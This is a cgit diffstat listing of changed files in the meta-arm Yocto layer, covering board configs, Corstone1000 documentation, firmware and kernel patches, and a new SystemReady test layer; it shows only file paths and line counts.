summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--meta-arm/.gitlab-ci.yml13
-rw-r--r--meta-arm/ci/base.yml2
-rw-r--r--meta-arm/ci/fvp.yml2
-rw-r--r--meta-arm/ci/fvps.yml4
-rwxr-xr-xmeta-arm/ci/get-binary-toolchains2
-rw-r--r--meta-arm/ci/poky-tiny.yml2
-rw-r--r--meta-arm/ci/tftf.yml1
-rw-r--r--meta-arm/kas/arm-systemready-firmware.yml12
-rw-r--r--meta-arm/kas/arm-systemready-ir-acs.yml17
-rw-r--r--meta-arm/kas/arm-systemready-linux-distros-debian.yml7
-rw-r--r--meta-arm/kas/arm-systemready-linux-distros-opensuse.yml7
-rw-r--r--meta-arm/kas/corstone1000-base.yml11
-rw-r--r--meta-arm/kas/corstone1000-fvp.yml4
-rw-r--r--meta-arm/kas/corstone1000-mps3.yml2
-rw-r--r--meta-arm/kas/fvp-base.yml43
-rw-r--r--meta-arm/meta-arm-bsp/conf/layer.conf7
-rw-r--r--meta-arm/meta-arm-bsp/conf/machine/corstone1000-fvp.conf14
-rw-r--r--meta-arm/meta-arm-bsp/conf/machine/fvp-base.conf54
-rw-r--r--meta-arm/meta-arm-bsp/conf/machine/include/corstone1000.inc2
-rw-r--r--meta-arm/meta-arm-bsp/conf/machine/include/fvp-common.inc50
-rw-r--r--meta-arm/meta-arm-bsp/conf/machine/n1sdp.conf6
-rw-r--r--meta-arm/meta-arm-bsp/documentation/corstone1000/.readthedocs.yaml12
-rw-r--r--meta-arm/meta-arm-bsp/documentation/corstone1000/change-log.rst71
-rw-r--r--meta-arm/meta-arm-bsp/documentation/corstone1000/release-notes.rst21
-rw-r--r--meta-arm/meta-arm-bsp/documentation/corstone1000/software-architecture.rst15
-rw-r--r--meta-arm/meta-arm-bsp/documentation/corstone1000/user-guide.rst533
-rw-r--r--meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs-fvp-base.inc2
-rw-r--r--meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bbappend1
-rw-r--r--meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native-fvp-base.inc5
-rw-r--r--meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bbappend1
-rw-r--r--meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/0001-check-sr-results-Change-the-expected-SR-result-confi.patch227
-rw-r--r--meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/files/fvp-base/report.txt34
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-emulate-cntp-timer-register-accesses-using-cnth.patch249
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0001-feat-vhe-enable-vhe-and-disable-branch-protection-fo.patch32
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0002-feat-emulate-interrupt-controller-register-access.patch156
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/hafnium/files/tc/0003-feat-vhe-set-STAGE1_NS-while-mapping-memory-from-NWd.patch41
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/hafnium/hafnium-tc.inc9
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/images/corstone1000-initramfs-image.bb3
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/fvp-base/0001-fdts-fvp-base-Add-stdout-path-and-virtio-net-and-rng.patch64
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0001-Reserve-OP-TEE-memory-from-nwd.patch7
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0002-Modify-BL32-Location-to-DDR4.patch30
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/files/n1sdp/0003-Modify-SPMC-Base-to-DDR4.patch28
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/tf-a-tests_%.bbappend2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-corstone1000.inc11
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp-base.inc20
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-fvp.inc12
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a-n1sdp.inc8
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a_%.bbappend2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0001-Platform-corstone1000-Increase-BL2-size-in-flash-lay.patch2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0002-Platform-Corstone1000-Increase-BL2_DATA_SIZE.patch2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0003-Platform-Corstone1000-Calculate-the-new-CRC32-value-.patch2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0005-Platform-corstone1000-add-unique-firmware-GUID.patch2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0006-Platform-Corstone1000-Enable-Signed-Capsule.patch2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0007-platform-corstone1000-increase-ITS-max-asset-size.patch29
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0008-platform-corstone1000-align-capsule-update-structs.patch78
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/files/corstone1000/0009-platform-corstone1000-fix-synchronization-issue-on-o.patch50
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/trusted-firmware-m-corstone1000.inc3
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-corstone1000.inc63
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-fvp-base.inc8
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-juno.inc3
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot-tc.inc5
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0001-FF-A-v15-arm64-smccc-add-support-for-SMCCCv1.2-x0-x1.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0002-FF-A-v15-lib-uuid-introduce-uuid_str_to_le_bin-funct.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0003-FF-A-v15-lib-uuid-introduce-testcase-for-uuid_str_to.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0004-FF-A-v15-arm_ffa-introduce-Arm-FF-A-support.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0005-FF-A-v15-arm_ffa-introduce-armffa-command.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0006-FF-A-v15-arm_ffa-introduce-sandbox-FF-A-support.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0007-FF-A-v15-arm_ffa-introduce-sandbox-test-cases-for-UC.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0008-FF-A-v15-arm_ffa-introduce-armffa-command-Sandbox-te.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0009-FF-A-v15-arm_ffa-efi-introduce-FF-A-MM-communication.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0010-FF-A-v15-arm_ffa-efi-corstone1000-enable-MM-communic.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0011-efi-corstone1000-fwu-introduce-EFI-capsule-update.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0012-arm-corstone1000-fix-unrecognized-filesystem-type.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0013-efi_loader-corstone1000-remove-guid-check-from-corst.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0014-efi_loader-populate-ESRT-table-if-EFI_ESRT-config-op.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0015-efi_firmware-add-get_image_info-for-corstone1000.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0016-efi_loader-fix-null-pointer-exception-with-get_image.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0017-arm-corstone1000-add-mmc-for-fvp.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0018-corstone1000-add-compressed-kernel-support.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0019-Introduce-external-sys-driver-to-device-tree.patch35
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0019-arm-corstone1000-esrt-support.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0021-arm-corstone1000-esrt-support.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0020-Add-mhu-and-rpmsg-client-to-u-boot-device-tree.patch80
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0020-corstone1000-enable-distro-booting-command.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0022-corstone1000-enable-distro-booting-command.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0021-corstone1000-add-fwu-metadata-store-info.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0023-corstone1000-add-fwu-metadata-store-info.patch)6
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0022-fwu_metadata-make-sure-structures-are-packed.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0024-fwu_metadata-make-sure-structures-are-packed.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0023-corstone1000-add-boot-index.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0025-corstone1000-add-boot-index.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0024-corstone1000-adjust-boot-bank-and-kernel-location.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0026-corstone1000-adjust-boot-bank-and-kernel-location.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0025-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0027-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0026-nvmxip-move-header-to-include.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0028-nvmxip-move-header-to-include.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0027-corstone1000-set-kernel_addr-based-on-boot_idx.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0029-corstone1000-set-kernel_addr-based-on-boot_idx.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0028-corstone1000-boot-index-from-active.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0030-corstone1000-boot-index-from-active.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0029-corstone1000-enable-PSCI-reset.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0031-corstone1000-enable-PSCI-reset.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0030-Enable-EFI-set-get-time-services.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0032-Enable-EFI-set-get-time-services.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0031-corstone1000-detect-inflated-kernel-size.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0033-corstone1000-detect-inflated-kernel-size.patch)8
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0032-corstone1000-ESRT-add-unique-firmware-GUID.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0034-corstone1000-ESRT-add-unique-firmware-GUID.patch)8
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0033-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0035-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0034-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0036-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0035-corstone1000-purge-U-Boot-specific-DT-nodes.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0037-corstone1000-purge-U-Boot-specific-DT-nodes.patch)4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0036-corstone1000-add-signature-device-tree-overlay.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0038-corstone1000-add-signature-device-tree-overlay.patch)8
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0037-corstone1000-enable-authenticated-capsule-config.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0039-corstone1000-enable-authenticated-capsule-config.patch)6
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0038-corstone1000-introduce-EFI-authenticated-capsule-upd.patch (renamed from meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0040-corstone1000-introduce-EFI-authenticated-capsule-upd.patch)9
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0039-enables-ondisk-capsule-update-feature.patch33
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0040-fix-runtime-capsule-update-flags-checks.patch56
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0041-scatter-gather-flag-workaround.patch39
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0042-corstone1000-enable-virtio-net-support.patch97
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-Revert-vexpress64-pick-DRAM-size-from-DT.patch44
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-virtio-rng-Workaround-for-FVP-returning-zero-size-bu.patch49
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0002-vexpress64-Set-the-DM_RNG-property.patch31
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0003-vexpress64-Select-PSCI-RESET-by-default.patch52
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0004-vexpress64-Imply-CONFIG_ARM64_CRC32-by-default.patch31
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/bootargs.cfg4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_%.bbappend85
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_2023.01.bb4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware-n1sdp.inc1
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/uefi/edk2-firmware_202211.bb4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-bsp/uefi/files/n1sdp/0009-Platform-ARM-N1Sdp-Reserve-OP-TEE-Region-from-UEFI.patch65
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/files/aarch64/0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch (renamed from meta-arm/meta-arm/recipes-kernel/linux/files/aarch64/0001-arm64-defconfig-remove-CONFIG_COMMON_CLK_NPCM8XX-y.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0002-Add-external-system-driver.patch220
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0003-Add-rpmsg-driver-for-corstone1000.patch218
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0004-rpmsg-arm-fix-return-value.patch30
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0005-rpmsg-arm-update-chrdev-to-ctrldev-registration.patch28
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/0006-Adds-workaround-for-cs1k-specific-bug.patch37
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/defconfig21
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-arm-platforms.inc7
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0001-iommu-arm-smmu-v3-workaround-for-ATC_INV_SIZE_ALL-in.patch (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0001-iommu-arm-smmu-v3-workaround-for-ATC_INV_SIZE_ALL-in.patch)14
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0002-n1sdp-pci_quirk-add-acs-override-for-PCI-devices.patch (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0002-n1sdp-pci_quirk-add-acs-override-for-PCI-devices.patch)15
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0003-pcie-Add-quirk-for-the-Arm-Neoverse-N1SDP-platform.patch (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0003-pcie-Add-quirk-for-the-Arm-Neoverse-N1SDP-platform.patch)9
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0004-n1sdp-pcie-add-quirk-support-enabling-remote-chip-PC.patch (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0004-n1sdp-pcie-add-quirk-support-enabling-remote-chip-PC.patch)2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0005-arm64-kpti-Whitelist-early-Arm-Neoverse-N1-revisions.patch (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0005-arm64-kpti-Whitelist-early-Arm-Neoverse-N1-revisions.patch)6
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/0006-arm64-defconfig-disable-config-options-that-does-not.patch (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/0006-arm64-defconfig-disable-config-options-that-does-not.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-nvme.cfg (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-nvme.cfg)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-realtek-R8169.cfg (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-realtek-R8169.cfg)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/enable-usb_conn_gpio.cfg (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/enable-usb_conn_gpio.cfg)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.5/n1sdp/usb_xhci_pci_renesas.cfg (renamed from meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto-6.4/n1sdp/usb_xhci_pci_renesas.cfg)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto_6.4.bb39
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/corstone1000/0001-Handle-logging-syscall.patch2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0002-plat-n1sdp-add-N1SDP-platform-support.patch4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0003-HACK-disable-instruction-cache-and-data-cache.patch45
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0003-Handle-logging-syscall.patch (renamed from meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0004-Handle-logging-syscall.patch)2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0004-plat-n1sdp-register-DRAM1-to-optee-os.patch (renamed from meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0005-plat-n1sdp-register-DRAM1-to-optee-os.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0005-plat-n1sdp-add-external-device-tree-base-and-size.patch (renamed from meta-arm/meta-arm-bsp/recipes-security/optee/files/optee-os/n1sdp/0006-plat-n1sdp-add-external-device-tree-base-and-size.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-client_3.18.0.bb3
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-client_3.22.0.bb (renamed from meta-arm/meta-arm/recipes-security/optee/optee-client_3.22.0.bb)2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-examples_3.22.0.bb (renamed from meta-arm/meta-arm/recipes-security/optee/optee-examples_3.22.0.bb)2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0005-core-ldelf-link-add-z-execstack.patch93
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0006-arm32-libutils-libutee-ta-add-.note.GNU-stack-sectio.patch127
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0005-core-arm-S-EL1-SPMC-boot-ABI-update.patch5
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0006-core-ffa-add-TOS_FW_CONFIG-handling.patch5
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/CVE-2023-41325.patch634
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0001-allow-setting-sysroot-for-libgcc-lookup.patch (renamed from meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0001-allow-setting-sysroot-for-libgcc-lookup.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0002-core-Define-section-attributes-for-clang.patch (renamed from meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0002-core-Define-section-attributes-for-clang.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0003-optee-enable-clang-support.patch (renamed from meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0003-optee-enable-clang-support.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0004-core-link-add-no-warn-rwx-segments.patch (renamed from meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0004-core-link-add-no-warn-rwx-segments.patch)0
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-n1sdp.inc7
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.18.0.bbappend6
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.22.0.bb (renamed from meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_3.22.0.bb)5
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bb15
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bbappend6
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.20.0.bb1
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bb (renamed from meta-arm/meta-arm/recipes-security/optee/optee-os_3.22.0.bb)2
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bbappend4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.18.0.bb10
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.20.0.bb4
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.22.0.bb14
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-plat-corstone1000-change-ns-interrupt-action.patch31
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-platform-corstone1000-fix-synchronization-issue.patch105
-rw-r--r--meta-arm/meta-arm-bsp/recipes-security/trusted-services/ts-arm-platforms.inc2
-rw-r--r--meta-arm/meta-arm-bsp/wic/fvp-base.wks3
-rw-r--r--meta-arm/meta-arm-systemready/README.md148
-rw-r--r--meta-arm/meta-arm-systemready/classes/arm-systemready-acs.bbclass161
-rw-r--r--meta-arm/meta-arm-systemready/classes/extra_imagedepends_only.bbclass25
-rw-r--r--meta-arm/meta-arm-systemready/conf/layer.conf15
-rw-r--r--meta-arm/meta-arm-systemready/lib/oeqa/runtime/cases/arm_systemready_ir_acs.py37
-rw-r--r--meta-arm/meta-arm-systemready/recipes-bsp/arm-systemready/arm-systemready-firmware.bb14
-rw-r--r--meta-arm/meta-arm-systemready/recipes-devtools/python/python3-construct-native_2.10.68.bb13
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bb61
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bb31
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0001-check-sr-results-Return-non-zero-exit-code-on-failur.patch37
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0002-check-sr-results-Device-tree-improvements.patch77
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/edk2-test-parser-native.bb26
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-debian.bb41
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-opensuse.bb69
-rw-r--r--meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros.inc50
-rw-r--r--meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-aarch64-none-elf_13.2.Rel1.bb (renamed from meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-aarch64-none-elf_12.3.rel1.bb)8
